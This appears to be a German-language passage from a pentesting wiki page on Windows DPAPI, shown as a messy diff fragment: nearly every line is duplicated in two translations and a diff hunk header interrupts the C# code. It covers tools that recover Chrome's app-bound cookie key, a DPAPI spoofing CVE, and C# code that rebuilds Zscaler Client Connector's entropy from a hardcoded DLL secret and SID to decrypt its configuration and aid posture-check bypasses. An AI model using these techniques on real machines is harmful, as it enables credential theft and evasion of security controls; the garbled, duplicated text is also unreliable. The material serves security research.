* **Chrome 127 “App-Bound” cookie encryption** (Juli 2024) ersetzte den alten nur-DPAPI-Schutz durch einen zusätzlichen Schlüssel, der im Benutzer-**Credential Manager** gespeichert wird. Die Offline-Entschlüsselung von Cookies erfordert jetzt sowohl den DPAPI-Masterkey als auch den **GCM-wrapped app-bound key**. SharpChrome v2.3 und DonPAPI 2.x sind in der Lage, den zusätzlichen Schlüssel wiederherzustellen, wenn sie im Benutzerkontext ausgeführt werden.
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (November 2023). Ein Angreifer mit Netzwerkzugang konnte ein Domain-Mitglied dazu bringen, einen bösartigen DPAPI backup key abzurufen, was die Entschlüsselung von Benutzer-masterkeys ermöglicht. Im November 2023 im kumulativen Update gepatcht Administratoren sollten sicherstellen, dass DCs und Workstations vollständig gepatcht sind.
* **Chrome 127 “App-Bound” cookie encryption** (Juli 2024) ersetzte den legacy DPAPI-only Schutz durch einen zusätzlichen Schlüssel, der im Credential Manager des Benutzers gespeichert wird. Die Offline-Entschlüsselung von Cookies erfordert jetzt sowohl den DPAPI masterkey als auch den **GCM-wrapped app-bound key**. SharpChrome v2.3 und DonPAPI 2.x können den zusätzlichen Schlüssel wiederherstellen, wenn sie im User-Kontext ausgeführt werden.
### Fallstudie: Zscaler Client Connector benutzerdefinierte Entropie, abgeleitet von der SID
### Case Study: Zscaler Client Connector Custom Entropy Derived From SID
Zscaler Client Connector speichert mehrere Konfigurationsdateien unter `C:\ProgramData\Zscaler` (z. B. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Jede Datei ist mit **DPAPI (Machine scope)** verschlüsselt, aber der Anbieter liefert eine **benutzerdefinierte Entropie**, die *zur Laufzeit berechnet* wird, anstatt auf der Festplatte gespeichert zu werden.
Zscaler Client Connector speichert mehrere Konfigurationsdateien unter `C:\ProgramData\Zscaler` (z. B. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Jede Datei ist mit **DPAPI (Machine scope)** verschlüsselt, aber der Anbieter liefert **custom entropy**, die zur Laufzeit *berechnet* wird, statt auf der Festplatte gespeichert zu sein.
Die Entropie wird aus zwei Elementen rekonstruiert:
1. Ein festkodiertes Geheimnis, eingebettet in `ZSACredentialProvider.dll`.
1. Ein hartkodiertes Secret, eingebettet in `ZSACredentialProvider.dll`.
2. Die **SID** des Windows-Kontos, zu dem die Konfiguration gehört.
Der von der DLL implementierte Algorithmus ist äquivalent zu:
Der von der DLL implementierte Algorithmus entspricht:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -325,17 +326,17 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
Da das Geheimnis in einer DLL eingebettet ist, die von der Festplatte gelesen werden kann, **kann jeder lokale Angreifer mit SYSTEM-Rechten die Entropie für jede SID regenerieren** und die Blobs offline entschlüsseln:
Da das Geheimnis in einer DLL eingebettet ist, die von der Festplatte gelesen werden kann, kann **jeder lokale Angreifer mit SYSTEM-Rechten die Entropie für jede SID regenerieren** und die blobs offline entschlüsseln:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
Die Entschlüsselung liefert die vollständige JSON-Konfiguration, einschließlich jeder **device posture check** und ihres erwarteten Werts Informationen, die beim Versuch von client-side bypasses sehr wertvoll sind.
Die Entschlüsselung ergibt die vollständige JSON-Konfiguration, einschließlich jeder **device posture check** und ihres erwarteten Werts Informationen, die beim Versuch von clientseitigen Umgehungen sehr wertvoll sind.
> TIPP: die anderen verschlüsselten Artefakte (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) sind mit DPAPI **ohne** entropy (`16` zero bytes) geschützt. Sie können daher direkt mit `ProtectedData.Unprotect` entschlüsselt werden, sobald SYSTEM-Privilegien erlangt wurden.
> TIPP: Die anderen verschlüsselten Artefakte (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) sind mit DPAPI **ohne** Entropie (`16` Null-Bytes) geschützt. Sie können daher direkt mit `ProtectedData.Unprotect` entschlüsselt werden, sobald SYSTEM-Rechte erlangt wurden.
## Quellen
## Referenzen
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)